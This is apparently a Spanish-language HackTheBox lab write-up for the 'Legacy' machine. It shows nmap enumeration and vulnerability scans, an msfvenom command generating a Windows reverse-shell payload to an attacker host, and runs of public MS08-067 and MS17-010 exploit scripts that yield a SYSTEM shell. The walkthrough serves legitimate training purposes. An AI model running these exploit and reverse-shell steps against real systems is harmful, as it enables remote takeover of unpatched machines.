HackTheBox - Máquina Legacy
Enumeración
Lanzamos un escaneo de todos los puertos con el estado open para ver que servicios hay corriendo.
nmap -p- --open -sS --min-rate=5000 -T5 -n -Pn -vvv 10.10.10.4 -oG allPorts
Después, lanzamos otro escaneo para obtener versiones.
nmap -sC -sV -p139,445 10.10.10.4 -oN targeted
El resultado que obtenemos es el siguiente:
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Explotación
Vamos a lanzar la búsqueda de vulnerabilidades sobre los servicios de samba.
nmap --script smb-vuln* -p139,445 -Pn 10.10.10.4
Y obtenemos lo siguiente:
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
MS08-067
Nos descargamos el exploit de github, generamos un shellcode y editamos el script:
msfvenom -p windows/shell_reverse_tcp LHOST=<ip_atacante> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
Tuve que hacer algunos cambios para que funcionara con python 3 como los print y la excepción del import, por último lo lanzamos y obtenemos la reverse shell.
python3 ms08-067.py 10.10.10.4 6 445
Al intentar hacer un whoami para ver el usuario que tenemos nos da un error, por lo que nos vamos a compartir los binarios de windows (mediante smbserver en impacket) y lo vamos a lanzar a través de la carpeta compartida:
python3 smbserver.py <nombre_recurso> /usr/share/windows-binaries
Y desde la consola de la máquina víctima lanzamos el whoami:
\\<ip_atacante>\<recurso_compartido>\whoami.exe
Y obtenemos el siguiente usuario:
C:\WINDOWS\system32>\\XX.XX.XX.X\shared\whoami.exe
\\XX.XX.XX.X\shared\whoami.exe
NT AUTHORITY\SYSTEM
MS17-010
He probado otros scripts e intentado hacerlos funcionar pero me daba error de NETBIOS time out, hasta que he dado con AutoBlue-MS17-010
Ejecutamos zzz_exploit.py y obtenemos una shell.
python3 zzz_exploit.py 10.10.10.4